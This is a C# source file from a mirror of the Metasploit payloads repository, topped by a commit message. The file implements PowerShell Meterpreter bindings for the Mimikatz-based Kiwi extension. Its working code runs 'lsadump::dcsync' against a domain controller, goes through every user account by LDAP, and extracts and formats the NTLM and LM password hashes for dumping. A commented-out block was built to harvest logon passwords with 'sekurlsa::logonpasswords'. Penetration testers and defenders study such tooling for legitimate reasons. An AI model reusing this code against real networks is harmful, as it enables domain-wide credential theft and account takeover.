1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-24 10:09:49 +02:00
OJ c7f7bc2fc0
Remove method strings from TLV packets
We now use ints, and hopefully this means we don't have as much obvious
stuff in the binaries!

```
$ # Before:
$ strings metsrv.x86.dll | grep core_ | wc -l
46
$ # After:
$ strings metsrv.x86.dll | grep core_ | wc -l
0
```
Big win, and it's even bigger for the likes of stdapi.

Had to fix a bunch of other stuff along the way, including a subtle
issue with the Powershell Meterp bindings.
2020-04-28 23:41:06 +10:00

324 lines
14 KiB
C#
Executable File

using System;
using System.Collections.Generic;
using System.Text.RegularExpressions;
namespace MSF.Powershell.Meterpreter
{
public static class Kiwi
{
public class Credential
{
public string Domain { get; set; }
public string Username { get; set; }
public string Password { get; set; }
public override string ToString()
{
return string.Format("{0}|{1}|{2}", Password, Username, Domain);
}
}
public class SyncRecord
{
public string Account { get; set; }
public string NtlmHash { get; set; }
public string LmHash { get; set; }
public string SID { get; set; }
public string RID { get; set; }
public string HashString
{
get
{
var lm = string.IsNullOrEmpty(LmHash) ? "aad3b435b51404eeaad3b435b51404ee" : LmHash;
var ntlm = string.IsNullOrEmpty(NtlmHash) ? "31d6cfe0d16ae931b73c59d7e0c089c0" : NtlmHash;
var userParts = Account.Split('\\');
return string.Format("{0}:{1}:{2}:{3}:::", userParts[userParts.Length - 1], RID, lm, ntlm);
}
}
}
public class HashReceivedEventArgs : EventArgs
{
public SyncRecord Record { get; private set; }
public HashReceivedEventArgs(SyncRecord record)
{
Record = record;
}
}
public delegate void HashReceivedEventHandler(object sender, HashReceivedEventArgs args);
public class DcSyncAllSettings
{
public string Domain { get; set; }
public string DomainController { get; set; }
public string DomainFqdn { get; set; }
public bool IncludeMachineAccounts { get; set; }
public bool IncludeEmpty { get; set; }
}
private static readonly Regex ValueRegex = new Regex(@"\s*\*\s(?<k>[^:]*):\s(?<v>.*)");
public static IEnumerable<string> DcSyncHashDump(DcSyncAllSettings settings)
{
foreach (var record in DcSyncAll(settings))
{
yield return record.HashString;
}
}
public static IEnumerable<SyncRecord> DcSyncAll(DcSyncAllSettings settings)
{
if (User.IsSystem())
{
throw new InvalidOperationException("Current session is running as SYSTEM, dcsync won't work.");
}
System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNCALL] User is not running as SYSTEM.");
if (string.IsNullOrEmpty(settings.Domain))
{
settings.Domain = System.DirectoryServices.ActiveDirectory.Domain.GetComputerDomain().Name;
}
if (string.IsNullOrEmpty(settings.Domain))
{
throw new ArgumentException("Domain parameter must be specified.");
}
System.Diagnostics.Debug.WriteLine("[PSH BINDING - DCSYNCALL] Running against domain " + settings.Domain);
using (var adRoot = new System.DirectoryServices.DirectoryEntry(string.Format("LDAP://{0}", settings.Domain)))
using (var searcher = new System.DirectoryServices.DirectorySearcher(adRoot))
{
searcher.SearchScope = System.DirectoryServices.SearchScope.Subtree;
searcher.ReferralChasing = System.DirectoryServices.ReferralChasingOption.All;
searcher.Filter = "(objectClass=user)";
searcher.PropertiesToLoad.Add("samAccountName");
using (var searchResults = searcher.FindAll())
{
System.Diagnostics.Debug.WriteLine("[PSH BINDING - DCSYNCALL] Search resulted in results: " + searchResults.Count.ToString());
foreach (System.DirectoryServices.SearchResult searchResult in searchResults)
{
if (searchResult != null)
{
var username = searchResult.Properties["samAccountName"][0].ToString();
System.Diagnostics.Debug.WriteLine("[PSH BINDING - DCSYNCALL] Found account: " + username);
if (settings.IncludeMachineAccounts || !username.EndsWith("$"))
{
var record = DcSync(string.Format("{0}\\{1}", settings.Domain, username), settings.DomainController, settings.DomainFqdn);
if (record != null && (settings.IncludeEmpty || !string.IsNullOrEmpty(record.NtlmHash)))
{
yield return record;
}
}
}
}
}
}
}
public static SyncRecord DcSync(string username, string domainController = null, string domainFQDN = null)
{
if (User.IsSystem())
{
throw new InvalidOperationException("Current session is running as SYSTEM, dcsync won't work.");
}
System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] User is not running as SYSTEM.");
if (string.IsNullOrEmpty(username) || !username.Contains("\\"))
{
throw new ArgumentException("Username must be specified in the format 'DOMAIN\\username'.");
}
Tlv tlv = new Tlv();
var command = string.Format("lsadump::dcsync /user:{0}", username);
if (!string.IsNullOrEmpty(domainController))
{
command = string.Format("{0} /dc:{1}", command, domainController);
}
if (!string.IsNullOrEmpty(domainFQDN))
{
command = string.Format("{0} /domain:{1}", command, domainFQDN);
}
// Mustn't forget to wrap this in a string so it's considered a single command
command = string.Format("\"{0}\"", command);
System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] Command execution will contain: " + command);
tlv.Pack(TlvType.KiwiCmd, command);
System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] Invoking kiwi_exec_cmd");
var result = Core.InvokeMeterpreterBinding(true, tlv.ToRequest(CommandId.KiwiExecCmd));
System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNC] Invoked kiwi_exec_cmd");
if (result != null)
{
System.Diagnostics.Debug.Write("[PSH BINDING] Result returned, kiwi is probably loaded");
var responseTlv = Tlv.FromResponse(result);
System.Diagnostics.Debug.Write(string.Format("[PSH BINDING] DcSync response came back with {0} results", responseTlv.Count));
System.Diagnostics.Debug.Write(string.Format("[PSH BINDING] DcSync response should contain a value for {0} {1}", TlvType.KiwiCmdResult, (int)TlvType.KiwiCmdResult));
foreach(var k in responseTlv.Keys)
{
System.Diagnostics.Debug.Write(string.Format("[PSH BINDING] DcSync response contains key: {0} ({1})", k, (int)k));
}
if (responseTlv[TlvType.Result].Count > 0 &&
(int)responseTlv[TlvType.Result][0] == 0 &&
responseTlv[TlvType.KiwiCmdResult].Count > 0 &&
responseTlv[TlvType.KiwiCmdResult][0].ToString().Length > 0)
{
System.Diagnostics.Debug.Write("[PSH BINDING] DcSync returned with some data");
var resultString = responseTlv[TlvType.KiwiCmdResult][0].ToString();
var record = new SyncRecord
{
Account = username
};
var elementsFound = 0;
foreach (var line in resultString.Split('\n'))
{
var stripped = line.Trim();
if (stripped.StartsWith("Hash NTLM: "))
{
var parts = stripped.Split(' ');
record.NtlmHash = parts[parts.Length - 1];
elementsFound++;
}
else if (stripped.StartsWith("lm - 0: "))
{
var parts = stripped.Split(' ');
record.LmHash = parts[parts.Length - 1];
elementsFound++;
}
else if (stripped.StartsWith("Object Security ID"))
{
var parts = stripped.Split(' ');
record.SID = parts[parts.Length - 1];
elementsFound++;
}
else if (stripped.StartsWith("Object Relative ID"))
{
var parts = stripped.Split(' ');
record.RID = parts[parts.Length - 1];
elementsFound++;
}
if (elementsFound > 3)
{
break;
}
}
return record;
}
}
System.Diagnostics.Debug.Write("[PSH BINDING] No result returned, kiwi is probably not loaded");
throw new InvalidOperationException("Kiwi extension not loaded.");
}
// OJ - 7th May 2018
// This function was broken when we rejigged kiwi to work off the Mimikatz subrepo. Commenting this stuff
// out for now until I fix it.
//public static List<Credential> CredsAll()
//{
// System.Diagnostics.Debug.Write("[PSH BINDING] Invoking binding call CredsAll");
// if (!User.IsSystem())
// {
// throw new InvalidOperationException("Current session is not running as SYSTEM");
// }
// Tlv tlv = new Tlv();
// tlv.Pack(TlvType.KiwiCmd, "sekurlsa::logonpasswords");
// var result = Core.InvokeMeterpreterBinding(true, tlv.ToRequest("kiwi_exec_command"));
// var ids = new Dictionary<string, Credential>();
// if (result != null)
// {
// System.Diagnostics.Debug.Write("[PSH BINDING] Result returned, kiwi is probably loaded");
// var responseTlv = Tlv.FromResponse(result);
// if (responseTlv[TlvType.Result].Count > 0 &&
// (int)responseTlv[TlvType.Result][0] == 0)
// {
// //foreach (var credObj in responseTlv[TlvType.KiwiPwdResult])
// //{
// // var credDict = (Dictionary<TlvType, List<object>>)credObj;
// // var credential = new Credential
// // {
// // Domain = Tlv.GetValue<string>(credDict, TlvType.KiwiPwdDomain, string.Empty),
// // Username = Tlv.GetValue<string>(credDict, TlvType.KiwiPwdUserName, string.Empty),
// // Password = Tlv.GetValue<string>(credDict, TlvType.KiwiPwdPassword, string.Empty)
// // };
// // if (!ids.ContainsKey(credential.ToString()))
// // {
// // ids.Add(credential.ToString(), credential);
// // }
// //}
// return new List<Credential>(ids.Values);
// }
// }
// System.Diagnostics.Debug.Write("[PSH BINDING] Result not returned, kiwi is probably not loaded");
// throw new InvalidOperationException("Kiwi extension is not loaded");
//}
//private static List<Dictionary<string, string>> ParseSSP(string[] output)
//{
// var results = new Dictionary<string, Dictionary<string, string>>();
// var lines = new Queue<string>(output);
// while (lines.Count > 0)
// {
// var l = lines.Dequeue();
// // Make sure it's an SSP cred
// if (!Regex.IsMatch(l, @"\sssp\s:"))
// {
// continue;
// }
// l = lines.Dequeue();
// while (Regex.IsMatch(l, @"\[\d\]"))
// {
// var d = new Dictionary<string, string>();
// l = lines.Dequeue();
// for (int i = 0; i < 3; ++i)
// {
// ParseAndAddValue(l, d);
// l = lines.Dequeue();
// }
// //results[d.V
// }
// }
// // return new List<Credential>(results.Values);
// return null;
//}
//private static void ParseAndAddValue(string line, Dictionary<string, string> values)
//{
// var match = ValueRegex.Match(line);
// if (match.Success)
// {
// values[match.Groups["k"].Value] = match.Groups["v"].Value;
// }
//}
}
}